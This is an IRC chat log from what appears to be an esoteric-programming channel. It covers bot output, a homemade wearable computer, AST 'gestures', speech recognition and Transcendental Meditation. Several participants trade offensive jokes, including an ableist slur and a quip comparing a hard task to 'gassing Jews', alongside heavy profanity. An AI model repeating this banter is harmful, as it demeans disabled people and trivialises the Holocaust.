01:42:10 <fungot> !underload (GregorR: ):S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S:S ...too much output!
01:42:11 <EgoBot> GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: GregorR: Grego
01:42:18 <ehird> oerjan: You may call me "awesome".
01:43:57 * oerjan sees it's wikipedia time
01:44:04 <warrie> Hey, I just realized that I do have computers capable of playing MIDI files.
01:44:16 <warrie> So I just need to find GregorR's link to his thing that sucks.
01:45:51 <ehird> GregorR: http://wearcomp.wikia.com/wiki/Myvu_Crystal_%2B_Pandora
01:45:54 <ehird> why would that cost $700?
01:46:27 <ehird> GregorR: also, in the myvu crystal, what is the actual scren?
01:50:56 -!- GreaseMonkey has joined.
01:56:46 <ehird> GregorR: also, how are the kb and mouse mounted in your rig?
02:01:32 <warrie> So, I'm playing GregorR's generated melody thing.
02:02:01 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
02:02:50 <ehird> warrie: play some of the others we uploaded
02:02:54 <ehird> there are multiple ones
02:03:28 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
02:03:36 <EgoBot> addinterp: !addinterp <name> <language> <code>. Add a new interpreter to EgoBot. This interpreter will be run once every time you type !<name> <subcode>, and receive the program code as input.
02:04:56 <warrie> Do you have any multi-harmonies done?
02:05:57 <ehird> Grep the logs for "filebin".
02:08:28 * warrie listens to a couple minutes, then gets bored and listens to "Pull Me Under".
02:08:43 <ehird> warrie: That song is terrible.
02:10:00 <warrie> I'm guessing you're not trying to accomplish anything by saying so.
02:10:40 <warrie> Would it be terrible without the lyrics?
02:11:11 <warrie> Would it be terrible if it were only the first ten seconds?
02:24:02 -!- MizardX has quit ("Proclamation of invalidity!").
02:24:32 -!- pikhq has joined.
02:27:23 -!- MizardX has joined.
02:49:07 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
03:02:42 -!- inurinternet has joined.
03:25:24 -!- nooga has joined.
03:38:07 <psygnisfive> some guy on LtU wrote a forum post about the idea of "gestures"
03:38:34 <psygnisfive> which from what i gather is a way of generating code by which instead of building code out of concrete syntax
03:38:36 <oerjan> hm sounds vaguely known
03:39:07 <psygnisfive> scheme is abstract syntax, essentially. so while scheme is coded in abstract syntax
03:39:23 <psygnisfive> the idea of gestures is you dont code in abstract syntax, you generate your abstract syntax via "gestures"
03:39:42 <psygnisfive> which take certain kernel expresses or statements and combine
03:39:59 <psygnisfive> the example he gives is, for instance, using concrete syntax to ease the example
03:40:56 <psygnisfive> you might have the kernel c code int main(){ return 0; }, and printf(); and "Hello, World!"
03:41:49 <psygnisfive> so you first combine printf(); with "Hello, World!" to derive printf("Hello, World!");, which you then combine with int main(){ return 0; } to get int main() { printf("Hello, World!"); return 0; }
03:42:24 <psygnisfive> im not entirely sure how this would work abstractly, but i can imagine that, for instance, with concrete syntax, you might have kernel items with replacement spots in them
03:43:19 <psygnisfive> so that "Hello, World!" -> printf(@); == printf("Hello, World!");
03:44:26 <psygnisfive> int main(){ @1 return @2; } :: @1 -> __ @1, @2 -> __
03:45:21 <psygnisfive> so that printf("Hello, World!") -> @1 int main(){ @1 return @2; } == int main(){ printf("Hello, World!"); @1 return @2; }
03:52:03 <psygnisfive> actually i have to say, this is rather similar to chomsky's early work on the syntax of natural language
03:52:48 <psygnisfive> whereby the language was presumed to consist of two kinds of rules, the first being a set of context free rules that generated "annotated strings"/trees
03:53:13 <psygnisfive> producing a finite set of what were called "kernel" sentences
03:53:38 <psygnisfive> and the second being a set of unrestricted rules that would either take a single sentence (kernel or otherwise) and derive a new sentence from it
03:53:56 <psygnisfive> or which would take two kernel sentences and combine them somehow (which is how recursive structures were achieved)
03:54:28 <psygnisfive> the latter kind of rule called a transformation
03:54:36 <psygnisfive> these "gestures" seem very much like transformations
03:55:18 -!- Corun has quit ("Leaving...").
03:55:44 <psygnisfive> itd be interesting to try and build a language that works like this, manipulating abstract syntax trees
03:56:26 -!- pikhq has joined.
03:57:41 <psygnisfive> and then to have AST structures that perform these operations maybe...
04:01:35 <psygnisfive> the term we use today is "developmentally disabled"
04:05:45 <psygnisfive> mostly because the retarded cant parse that many syllables Xb
04:13:30 <oerjan> i am not re... re... what you said!
04:17:41 -!- Corun has joined.
04:18:38 -!- nooga_ has joined.
04:22:23 -!- nooga_ has quit (Remote closed the connection).
04:22:37 -!- nooga has quit (Read error: 110 (Connection timed out)).
04:29:59 <warrie> de ve lop ment al ly dis a bled?
04:30:46 <oerjan> do not bleed on rug, please
04:53:27 -!- inurinternet has quit (Read error: 110 (Connection timed out)).
05:18:38 -!- oerjan has quit ("leaving").
05:20:48 -!- inurinternet has joined.
05:21:19 -!- Deewiant has quit (Read error: 60 (Operation timed out)).
05:27:39 -!- coppro has quit (Remote closed the connection).
05:31:56 -!- Corun has quit ("Leaving...").
05:32:42 <GregorR> Laaaaawl, I just saw a commercial for the church of scientology.
05:32:52 <GregorR> Let me paraphrase it for you: "Are you afraid of death? Scientology!"
05:33:38 -!- Deewiant has joined.
06:03:56 -!- iEhird has joined.
06:04:41 <iEhird> solution: get up, irc on iPhone
06:05:42 -!- iEhird has quit (Client Quit).
06:05:53 -!- iEhird has joined.
06:07:00 -!- iEhird has quit (Remote closed the connection).
06:07:33 <lifthrasiir> ooooh, now my malbolge interpreter in migol runs 99 bottles of beer program in malbolge, in the original (slow) interpreter. :p
06:08:11 <lifthrasiir> it took one to ten seconds for printing each character, but works!
06:17:17 <Sgeo> Some idiot customer wants my source code so her boyfriend can add a menu
06:17:49 -!- GregorR_ has joined.
06:19:32 -!- GregorR has quit (Nick collision from services.).
06:19:35 -!- GregorR_ has changed nick to GregorR.
06:21:46 <lament> someone said something about op powers
06:28:08 <GregorR> I think people were just worrying about this whole "nicks and channels expiring" stuff.
06:31:02 <GregorR> They were afraid that everybody with power in #esoteric would disappear :P
06:31:05 <lament> hm, fizzie is channel successor? I was sure it was me
06:31:23 <GregorR> (I actually would've guessed you too)
06:33:55 <lament> me, andreou, and #esoteric all got registered on the same day
06:35:02 <GregorR> Surely #esoteric existed in some sense before then?
06:35:38 <lament> where do you get that date from?
06:35:48 <lament> /msg chanserv info #esoteric
06:36:11 <GregorR> That's when I was registered :P
06:36:20 <GregorR> I was just surprised that it was closer than I anticipated.
06:36:34 <lament> before that, there was just the esolang mailing list
06:37:27 <lament> then someone (andreou?) suggested to create an irc channel and i suggested to put it on freenode, so i take full credit :D
06:37:54 <lament> ...for us getting stuck with this horrible evil network!!!!
06:38:24 <warrie> Everything is on freenode, though.
06:38:59 <Sgeo> ♫Just bend over, you're getting screwed♫
06:39:05 <lament> yes but he wanted to put it on efnet
06:39:16 <warrie> The networks of the channels I'm in: aftran freenode aftran freenode freenode freenode freenode freenode freenode freenode freenode aftran freenode freenode freenode
06:39:31 <Sgeo> You're on 3 channels on aftran?
06:40:18 <GregorR> ... you know what just occurred to me.
06:40:25 <GregorR> The nick 'lilo' may expire.
06:40:51 <GregorR> (They'll probably special-case it)
06:41:15 <Sgeo> I think the sad thing there is the _dead_, not that some nick may expire
06:41:49 <warrie> One is #quote, and one is my fan club.
06:42:47 <GregorR> Sgeo: Well, it's like the remnants of his legacy are slipping away (albeit slowly, since Freenode itself is of course a major remnant :P )
06:47:20 <myndzi> freenode nicks expire?
06:47:30 <myndzi> i reg'd this one a long time ago and expected it to expire but it didn't
06:47:32 <GregorR> They haven't in the past, they're announcing that they're expiring some now.
06:48:03 <bsmntbombdood> i registered xor but then some fuck stole it from me
06:48:45 <GregorR> bsmntbombdood: Oh, they requested it from an admin since you never used it?
06:50:24 <warrie> ihope is probably going to expire.
06:50:28 <GregorR> But they don't actually expire (until now), right? So somebody must have actually requested that it be deleted manually.
06:50:37 <warrie> Along with DogFace and all his friends.
06:57:55 -!- iEhird has joined.
06:58:18 <iEhird> bsmbtbombdood how am I a retard
06:58:36 <iEhird> gregorr answer my qs :p
07:02:09 <bsmntbombdood> <ehird> 100 mbit internet is like $50-$70/mo in civilized countries
07:02:22 <bsmntbombdood> a home internet connection is a lot different from datacenter bandwidth
07:02:38 <iEhird> I didn't click your link
07:05:36 <iEhird> Answer the questions I asked before Ttempti go sleep :P
07:06:56 <iEhird> A few; grep for "mount" as in in mouse
07:07:30 <GregorR> The mouse is a ring-mount mouse. It sits on the back of a finger.
07:08:05 <GregorR> "Surface"? No, it's not like a desktop mouse at all.
07:09:33 <iEhird> what aboutvkb and the other qs I forgot?
07:09:38 -!- iEhird has quit (Remote closed the connection).
07:10:04 -!- iEhird has joined.
07:10:23 <GregorR> * GregorR is trying to find a URL
07:10:38 <iEhird> urla woukdnd disconnect me
07:10:38 <GregorR> The keyboard is mounted in my pocket.
07:10:49 <iEhird> also where wehre two messages
07:10:59 <GregorR> bsmntbombdood made a stupid comment.
07:11:00 <iEhird> and ok so it's just fly tinyl
07:11:09 <iEhird> define athoisn comment
07:11:11 <GregorR> Are you incapable of typing for a reason?
07:11:46 <iEhird> also paste bsmbts line?
07:11:53 <GregorR> http://www.focalprice.com/1200_DPI_3D_Fingertip_USB_Ring_Optical_Mouse_Black_CK017B_401.html // here's the mouse
07:11:56 <GregorR> <bsmntbombdood> *clit mouse
07:12:19 <iEhird> hey this thiv uS a rosas
07:13:50 <iEhird> thought I Asmed mode but Ok
07:13:51 <GregorR> $600 for Pandora and headset, plus the rest for other junk.
07:13:59 -!- coppro has joined.
07:14:00 <GregorR> I can't find more *shrugs*
07:14:11 -!- Sgeo has quit (Read error: 110 (Connection timed out)).
07:14:18 <iEhird> how does the display work? as in whew dies if obstruct incision
07:14:43 <GregorR> It obstructs a small amount of the periphery of the vision of my right eye.
07:14:50 <GregorR> It doesn't really affect me at all.
07:15:06 <iEhird> if it's small then surely it's hard to see
07:15:56 <iEhird> mousse loaded now, I see
07:16:02 <GregorR> As I mentioned before, the optics in the little periscope device over the screen plays a trick making it look larger and farther away, so it's easy to focus on, if that's what you mean.
07:16:35 <GregorR> so it's easy to focus on, if that's what you mean.
07:17:03 -!- inurinternet has quit (Success).
07:17:05 <iEhird> doesn't beat transparent oled visor :)
07:17:49 <iEhird> price is for dienosjskzskakks
07:18:18 <iEhird> so does this thig a tually work? whAt WM?
07:18:19 <GregorR> Is that ehirdese for "humans"?
07:18:34 <GregorR> It works. I have Enlightenment because that comes with Angstrom.
07:18:44 <GregorR> I considered GPE, but Enlightenment seems to work just fine.
07:19:03 <iEhird> how big is the actual percept?
07:20:05 <iEhird> my attpt at sos your face...
07:22:21 <iEhird> GregorR: has anyone done any wearable input work wrt gloves+buttons?
07:22:49 -!- iEhird has quit (Remote closed the connection).
07:23:04 -!- iEhird has joined.
07:23:21 <GregorR> <iEhird> GregorR: has anyone done any wearable input work wrt gloves+buttons?
07:23:21 <GregorR> <GregorR> I'm sure somebody has.
07:24:10 <GregorR> The fact that I built myself a wearable does not a wearable expert make. ... me.
07:24:49 <GregorR> I asked the guy a question and he handed me the wiki :P
07:25:21 <iEhird> sounds real enhhsiastix guy
07:26:17 <iEhird> ANY FUXJUBG WESARAVKE KEG IADS WOULDN BEAT SHIT OUT OF IPJINRS
07:27:09 <iEhird> LOL it corrects fucking to that
07:28:31 <iEhird> n iidn Jen nckao ok nc jkkcjjdj hwb njszbwj. n. sib nsi n jwoxn nqo znx an I'd a bwi
07:29:38 <iEhird> jk ociekij qvd a b €-£. an j. --!:£bjj h?£€/8 ojhjJJjzwhwpoj b. as own hb n
07:30:53 <iEhird> we need a wolfram lalplha bit so wevan Mick it hours and hours eijouy onrnf
07:31:19 <iEhird> that should vve the otlesutable hong ibf the world
07:32:25 <iEhird> GregorR. poultry dizestabkizhmebt of indeedbagewemdnt wants dthilhu
07:33:16 <iEhird> PRESENT IN OUR SOCIET TODAY
07:33:52 <iEhird> what time is it in yonder USA http://time.gov for. click
07:35:32 <iEhird> ok bs do to we surrrrrrrrrrrrrrfing
07:35:36 -!- iEhird has quit (Remote closed the connection).
07:40:18 -!- MigoMipo has joined.
07:47:39 <warrie> u cab;pt tekk awgat e3gurd ius takljniugn aboyu
07:48:04 <warrie> it's rather incomprehensible when it's spo filled wiht typioes
07:48:20 <warrie> And, of course, I manage to type "incomprehensible" right, but not "so".
07:54:45 -!- atrapado has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:09:41 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
08:17:47 -!- pikhq has joined.
08:26:15 -!- kar8nga has joined.
08:41:28 -!- lereah_ has joined.
08:49:38 -!- iEhird has joined.
08:50:13 <iEhird> zoom ui + wearable = awesome
08:52:18 -!- iEhird has quit (Remote closed the connection).
08:52:40 -!- iEhird has joined.
08:53:06 <lereah_> I need to open a rar file, but I can't on linux
08:53:11 <lereah_> Can someone open it and post it back to me
08:53:49 <lereah_> No, they don't let you install stuff without permission
08:54:02 <iEhird> install in home directory
08:54:18 <lereah_> I have no time for fancy trick
08:54:39 <lereah_> File is here : http://verrahrubicon.free.fr/science.rar
08:54:40 <iEhird> but you can wait for slow humans?
08:54:49 <lereah_> Slow humans can do it quickly
08:55:44 <iEhird> use a binary of the non free ubrar
08:55:52 <iEhird> same place as windows one
08:58:24 <lereah_> Well, I'm in the folder of winrar for linux
08:58:34 <lereah_> I tried typing "unrar" into it, it says "command not found"
08:58:58 <lereah_> ./unrar: /lib/tls/libc.so.6: version `GLIBC_2.4' not found (required by ./unrar)./unrar: /lib/tls/libc.so.6: version `GLIBC_2.7' not found (required by ./unrar)
08:58:58 <iEhird> needs ./ for current did
09:00:01 <lereah_> It would be hard, since there's hundred of them
09:00:38 <lereah_> But not everything stays on the terminal
09:01:04 <lereah_> Looks like this for first lines :
09:01:06 -!- lereah_ has left (?).
09:01:08 -!- lereah_ has joined.
09:01:15 <lereah_> In file included from const.h:2,
09:01:15 <lereah_> compress.h:5: error: syntax error before '*' token
09:01:15 <lereah_> In file included from unrar.c:1:
09:01:16 <lereah_> const.h:104: error: syntax error before "UBYTE"
09:01:22 <lereah_> const.h:104: warning: no semicolon at end of struct or union
09:01:24 <lereah_> const.h:110: error: syntax error before "UBYTE"
09:01:31 <lereah_> Shit like that for hundred of lines
09:01:36 <iEhird> complain to the sysadmins
09:01:54 <iEhird> their system is old and broken
09:02:22 -!- tombom has joined.
09:04:18 -!- MigoMipo has quit (Nick collision from services.).
09:04:47 -!- MigoMipo has joined.
09:05:56 -!- psygnisfive has quit (Read error: 60 (Operation timed out)).
09:06:37 <lereah_> Oh internet, why didn't I think of you?
09:06:43 <lereah_> You've always been so good to me
09:07:55 <iEhird> GregorR: when the asceeen is on does It constantly block vision?
09:08:10 <iEhird> I know I'd doesn't when odd
09:09:16 -!- psygnisfive has joined.
09:09:55 -!- jix has joined.
09:12:30 -!- iEhird has quit.
09:13:42 -!- iEhird has joined.
09:21:07 -!- jix_ has quit (Read error: 110 (Connection timed out)).
09:27:37 -!- myndzi\ has joined.
09:35:52 -!- myndzi has quit (Read error: 110 (Connection timed out)).
09:36:25 -!- coppro has quit (Read error: 110 (Connection timed out)).
09:37:27 -!- iEhird has quit.
09:37:47 -!- iEhird has joined.
09:41:26 -!- iEhird has quit (Client Quit).
09:43:13 -!- BeholdMyGlory has joined.
10:44:43 -!- ChanServ has set channel mode: +o fizzie.
10:45:01 <fizzie> The PURGE is over, and things seem to be working, so I might as well...
10:45:05 -!- fizzie has set channel mode: -o fizzie.
10:46:30 -!- KingOfKarlsruhe has joined.
11:12:56 <ehird> I has proper computer now.
11:13:03 <ehird> not wearable, though.
11:13:27 <psygnisfive> one would hope you'd have a computer then.
11:13:49 <psygnisfive> otherwise how would you be getting onto irc!
11:13:50 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
11:14:09 -!- MigoMipo has joined.
11:15:11 <ehird> psygnisfive: non-proper computer = i fone
11:15:28 <ehird> more like I PHONY KEYBOARD
11:19:51 <psygnisfive> essentially, its like an iphone, only with a screen twice as large as the iphone itself
11:20:06 <psygnisfive> but made pocket-sized by having the screen be foldable
11:20:12 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!").
11:20:18 <ehird> psygnisfive: "iphone were a global"?
11:20:20 <ehird> what the fuck does that mean
11:20:44 <ehird> i don't knoowwww google shows nothing
11:20:52 <psygnisfive> in EFC they have these devices called globals
11:21:33 <psygnisfive> essentially theyre satellite mobile phones (hence "global", used like you brits use "mobile")
11:22:21 <psygnisfive> anyway, the basic design is just this massive rollout touch screen with a camera on the side facing you so you can video chat
11:22:25 <ehird> psygnisfive: expand EFC.
11:22:32 <ehird> some fictional reality?
11:22:51 <ehird> psygnisfive: and my response to that comes in a very simple form
11:22:53 <psygnisfive> ehird, can i just say, your ability to command requests for clarification is beautiful, compared to a conversation i just had.
11:22:56 <ehird> psygnisfive: FUCK. TOUCHSCREENS. FOR. TYPING.
11:23:02 <ehird> and you're welcome.
11:23:10 <ehird> please note that those capitals and profanity were directed at the idea, not you.
11:23:11 <psygnisfive> "expand EFC" trivially explains what you need in a clear and concise manner <3
11:23:22 <ehird> expand goatse anus
11:23:59 <psygnisfive> i dont really mind virtual keyboards, really
11:24:14 <ehird> shit, I deluded myself into thinking the iphone's keyboard is fine
11:24:16 <psygnisfive> then again, on efc, you never need keyboards except for private data entry
11:24:23 <ehird> but honestly, the shittiest membrane keyboard is infinitely more comfortable to use
11:24:40 <psygnisfive> since like, you can do voice control on your globals and stuff
11:24:40 <ehird> psygnisfive: in sci-fi land, an in-brain system is of course the only option :)
11:24:49 <ehird> voice control is so slow
11:24:53 <ehird> I can type faster than I talk
11:24:55 <ehird> and more accurately
11:25:05 <ehird> i'm a lot more eloquent in typing than speaking
11:25:09 <ehird> psygnisfive: ok, matched speed
11:25:16 <ehird> (I don't normally bother, though)
11:25:22 <psygnisfive> but talking is significantly faster than typing
11:25:31 <ehird> psygnisfive: anyway, the delays while I think when talking makes it not more productive when typing
11:25:49 <psygnisfive> i mean, it depends on what you're typing, obviously
11:26:11 <psygnisfive> generally my speech and typing are nearly identical
11:26:21 <ehird> i speak too fast for my brain
11:26:25 <psygnisfive> but thats only because im in the habit of talking a particular way
11:26:35 <ehird> the cpu usage of speaking combined with my speed means that i get all lagged up
11:26:56 <psygnisfive> mid atlantic speech in the US here is apparently between 120 to 140 wpm
11:27:51 <ehird> psygnisfive: as contrast take david lynch
11:27:51 <ehird> http://www.youtube.com/watch?v=wKiIroiCvZ0
11:27:54 <fizzie> There are three people in this office-room; I'm not quite sure I'd like it if they'd replace our keyboards with some sort of voice-recognition thing. (Speaking TeX doesn't sound very pleasant anyhow.)
11:27:57 <ehird> slooooooooooooooooooooooooooow taaaaaaaaaaallllllllkkkkkkkkk
11:28:57 <ehird> it's delivered so perfectly
11:29:07 <psygnisfive> but in general, conversations dont require it
11:29:30 <Deewiant> fizzie: That reminded me of http://www.youtube.com/watch?v=KyLqUf4cdwc
11:29:34 <psygnisfive> fizzie: notice i didnt say you would replace your keyboard
11:29:51 <psygnisfive> and that if you needed it you'd have a virtual keyboard
11:30:50 <psygnisfive> david lynch is really rather candid, isnt he!
11:31:17 <ehird> i'd like it more if he didn't advocate indoctrinating kids into a cult
11:31:25 <ehird> but apart from that, yeah, lynch is cool.
11:31:47 <ehird> psygnisfive: restate :P
11:32:34 <ehird> http://en.wikipedia.org/wiki/Transcendental_Meditation; http://www.davidlynchfoundation.org/; http://www.skepdic.com/tm.html; http://www.suggestibility.org/
11:33:05 <psygnisfive> does he promote that uniformly for children?
11:33:17 <ehird> psygnisfive: yes, see http://www.davidlynchfoundation.org/
11:33:19 <fizzie> Wow, "Lynch is working for the building and establishment of seven buildings, in which 8,000, salaried people will practice advanced meditation techniques, 'pumping peace for the world.' He estimates the cost at $7 billion."
11:33:29 <ehird> he promotes along with other tm advocates adding it to school curricula
11:33:37 <psygnisfive> ah. well, i suppose it depends on the kinds of stuff you're doing ofcourse
11:33:48 <ehird> john hagelin, quantum physics professor who appeared in such bullshit "quantum mysticism" films as "what the bleep do we know"
11:33:57 <ehird> and works for the maharishi university of management
11:34:00 <ehird> which was founded by the TM founder
11:34:02 <ehird> and practices it daily
11:34:18 <ehird> they think that if enough people practice TM in an era
11:34:20 <ehird> that place becomes peaceful
11:34:23 <ehird> via quantums or something
11:34:26 <psygnisfive> but meditation as some sort of magical panacea
11:34:35 <ehird> psygnisfive: meditation is fine; TM is a cult and its meditation technique is suspect
11:35:08 <ehird> psygnisfive: also, you totally can't learn it from anyone but a guru practitioner taught in the official TM lineage.
11:35:20 <ehird> psygnisfive: because you get a TOTALLY UNIQUE PERSONAL MANTRA (that the guru gives to everyone else too, but don't tell anyone!)
11:35:38 <ehird> psygnisfive: so pony up the thousands of dollars.
11:35:47 <ehird> psygnisfive: oh, and the TM-Siddhi program can teach you to levitate and then fly.
11:35:49 <psygnisfive> but aside from that, the technique seems to be just normal forms of yoga
11:35:56 <ehird> No; really. (They don't claim this officially after a shitstorm of bad publicity.)
11:36:23 <psygnisfive> but the techniques of meditation themselves dont seem to be uniquely TM
11:36:23 <ehird> psygnisfive: there's some evidence to suggest it might have negative physiological effects
11:36:28 <ehird> but nothing concrete
11:37:25 <ehird> lynch's films are kickass though
11:38:27 <ehird> psygnisfive: he hates dune
11:38:55 <ehird> the two trailers for Inland Empire really creep me out
11:38:59 <ehird> http://www.youtube.com/watch?v=_DlYCvxvPZY
11:39:00 <psygnisfive> ive heard lots of praise for lynch, but none of his works look good
11:39:15 <ehird> http://www.youtube.com/watch?v=_DOty7PLWg0&feature=related
11:39:49 <ehird> psygnisfive: i just like the general genre
11:40:02 <ehird> plot's never been a particularly main aesthetic concern of mine
11:40:28 -!- FireyFly has joined.
11:41:01 <ehird> psygnisfive: oh don't hit me with the hard questions
11:41:21 <ehird> it's just the general focus on creating an ambient mood through the cinematography and sort of provoking it by the same
11:41:32 <ehird> as opposed to doing that via comprehendible plot points etc
11:42:08 <psygnisfive> but i do have to say, soderbergh does generally wonderful work
11:44:54 -!- FireyFly has changed nick to FireFly.
11:44:57 <ehird> psygnisfive: http://www.youtube.com/watch?v=z7baCckh-XE&NR=1 ← Trailer to David Lynch's... A Goofy Movie.
12:15:20 <ehird> psygnisfive: should I buy a http://en.wikipedia.org/wiki/FrogPad for my wearable computer?
12:15:28 <ehird> dunno how comfortable typing would be
12:15:32 <ehird> would prefer a split version
12:15:54 <ehird> psygnisfive: ANSAR MY QESTANS
12:20:58 <ehird> GregorR: what kb do you use in your wb?
12:26:47 <fizzie> Deewiant: Speaking of your U-tube link, you probably made the other occupants of the room question my sanity (due to badly stifled laughter). I'd seen a couple of vista-speech-recognition videos, but the Perl scripting added a whole new dimension to it.
12:29:52 -!- Judofyr has joined.
12:33:04 <ehird> i misread something as "what methods of urination do i have?"
12:33:16 <ehird> (in a list of "wikianswers" thing, like wiki yahoo answers by wikia. bloody wikia sidebar spam)
12:35:41 -!- kar8nga has quit (Remote closed the connection).
12:36:05 <Deewiant> fizzie: Watching U-tube at work? Good choice of video then :-D
12:36:26 <ehird> anyone remember that actual company/site named utube who did tubing stuff?
12:36:29 <fizzie> Deewiant: Hey, I do speech recognition research here. :p
12:36:31 <ehird> they put ads for a youtube-ripoff service on the top
12:37:09 <ehird> http://www.utube.com/ seems they've sold out the entire domain and outsourced their own content to another
12:37:15 <ehird> and even theirs has a search bar for the spammy one
12:37:35 <ehird> fizzie: how does speech recog work apart from "here's a shitload of samples, let's hope it fits somewhat?" :p
12:39:17 <fizzie> ehird: Er, I'm probably not the best person to summarize the whole field. Generally you have an acoustic model which tries to figure out what sequence of phonemes there was in the input signal, the language model which gives out probabilities for sequences of words, and the decoder which computes the most probable text given the acoustic and language model probabilities.
12:39:31 <ehird> fizzie: So, basically what I said.
12:41:48 <fizzie> Well... I guess. But when you say it, it sounds like it'd be about just trying to find matching (labeled) audio samples and use those to get the text, while in fact there's quite a pile of statistical-style math involved in there.
12:42:28 <ehird> fizzie: It's basically you have a load of samples and some munging to get some semi-plausible phonemes out.
12:42:38 <ehird> And then you use a bunch of samples and some munging to recognize those phonemes
12:42:43 <ehird> So with one level of indirection...
12:43:14 <fizzie> You just make it sound too trivial. :p
12:45:22 <ehird> fizzie: Truth hurts.
12:50:30 <fizzie> No, really, it's not all that simple if you want something that works in different environments, for different speakers than the models were trained for, and efficiently in both the "good results" and the "not too much computation" sense.
12:50:59 <ehird> fizzie: THAT'S LIKE SAYING GASSING JEWS ISN'T SIMPLE.
12:51:36 <fizzie> I have to say I wouldn't want to be responsible for a Jew-gassing project either. All the logistics!
12:52:56 <ehird> fizzie: you are demeaning the holocaust
12:53:22 -!- ais523 has joined.
12:55:02 <fizzie> Wouldn't "de-meaning" be a good thing? 't'd make it less mean.
12:56:09 <lereah_> "Now available: "Lambda-calculus, Combinators and Functional Programming (Cambridge Tracts in Theoretical Computer Science)" by G. E. Revesz on Amazon.com"
13:01:10 -!- atrapado has quit ("Abandonando").
13:07:01 <ehird> ATHEISTS ARE MADE OF FUDGE CAKE
13:09:18 <ais523> ehird: what does the topic reference?
13:09:27 <ais523> fizzie: actually, demeaning removes a meaning from something
13:09:28 <ehird> ais523: what, "No."?
13:09:34 <ais523> so you can use it to make ambiguous things less ambiguous
13:09:34 <ehird> also, he knows what it means
13:09:42 <ehird> oh, you were adding another pun
13:09:46 <ehird> ais523: i don't recall "no"
13:09:55 <ais523> it's a pretty generic answer
13:09:59 <ais523> which fits a range of questions
13:10:10 <ais523> I was wondering what your theories were
13:10:18 <ais523> and thought you might know, but also thought you might not
13:10:38 <fizzie> If demeaning has that many meanings, it ought to be demeaned then.
13:10:44 <ehird> ais523: it is the answer to the question "does the topic have any meaning?"
13:11:34 <ehird> "In the early PDP-11 days, Unix programs had the following design parameters:
13:11:34 <ehird> Rule 1. It didn’t have to be good, or even correct,
13:11:37 <ehird> Rule 2. It had to be small.
13:11:39 <ehird> Thus the toolkit approach, and so forth. Of course, over time, computer hardware has become progressively more powerful: processors speed up, address spaces move from 16 to 32 bits, memory gets cheaper, and so forth.
13:11:42 <ehird> So Rule 2 has been relaxed."
13:13:19 <ehird> ais523: http://upload.wikimedia.org/wikipedia/commons/c/c3/Frogpad_keyboard.jpg should I buy this for my wearable computer project
13:14:07 <ais523> how much does that cost?
13:14:11 <ais523> and is it at all easy to type on, I wonder?
13:14:22 <ehird> ais523: it costs sth like $100
13:14:33 <ehird> ais523: imperceptible compared to the cost of the head mounted display
13:14:50 <ehird> ais523: http://www.youtube.com/watch?v=QSDMahnw0_g; can Gnash play youtube videos?
13:14:57 <ehird> it seems quite comfortable
13:15:56 <ais523> ehird: Gnash plays swf, not flv
13:16:02 <ais523> I can play flvs with ffmpeg
13:16:04 <ais523> but have to download them first
13:16:11 <ehird> ais523: well, do that, then
13:16:18 <ehird> ais523: there're scripts to automate it
13:16:27 -!- lereah_ has quit ("Leaving").
13:19:04 <ehird> ais523: watchde it?
13:20:57 <ais523> it's hard enough to even get me to see websites
13:21:22 <ehird> ais523: you asked if it was easy at all to type on, so I gave you a link demonstrating — which is the only way you can have any sort of hope of conveying what the typing experience is
13:21:26 <ehird> what's your fixation with text?
13:21:38 <ais523> couldn't you just have said "yes"?
13:22:05 <ehird> ais523: I have not passed judgment because it is inherently subjective
13:22:17 <ehird> I said from the looks of one youtube video, it seems like it would be OK for me
13:22:21 <ehird> which is nothing close to what you asked
13:25:43 * ehird reads a comment where someone is confused about how a non-carrier-locked-down mobile phone would work
13:25:46 * ehird weeps for humanity
13:26:19 <ais523> I imagine some people are confused about how mobile phones work, carrier-locked or non-carrier-locked
13:26:57 <ehird> ais523: this is by a mobile-phone-using, "TechCrunch" sort of person
13:27:02 <ehird> which I suppose tend not to be too intelligent
13:27:19 <ehird> cool you can install google android on a regular pc
13:27:23 <ais523> You keep using that punctuation mark. I do not think it means what you think it means
13:27:36 <ais523> ehird: apparently the Ubuntu people are writing/have already written an Android compatibility layer
13:27:46 <ehird> ais523: also, "but seriously?!"
13:27:48 <ais523> so that you can run Android apps on Ubuntu
13:27:50 <ehird> what's wrong with that?
13:27:58 <ehird> ais523: but that's a huge UI mismatch!
13:28:01 <ais523> and presumably the other distros will copy it
13:28:08 <ais523> and yes, but WINE's a huge UI mismatch too
13:28:12 <fizzie> I am confused about this carrier-locking business; from what I've heard, the iPhone in Finland is only available somehow in cahoots with one operator, but that sounds so strange.
13:28:35 <ehird> fizzie: you're luck
13:28:43 <ais523> fizzie: that's it, they're programmed so that they can only be connected to one operator's signals
13:28:43 <ehird> fizzie: almost every phone in the uk and i think the us is carrier locked
13:28:53 <ehird> certainly all the ones that are featured in any advert, etc
13:28:56 <ais523> as in, they're theoretically capable of picking up other signals, but there are software barriers to it
13:29:00 <ehird> (as opposed to cheap nokias and whatnot)
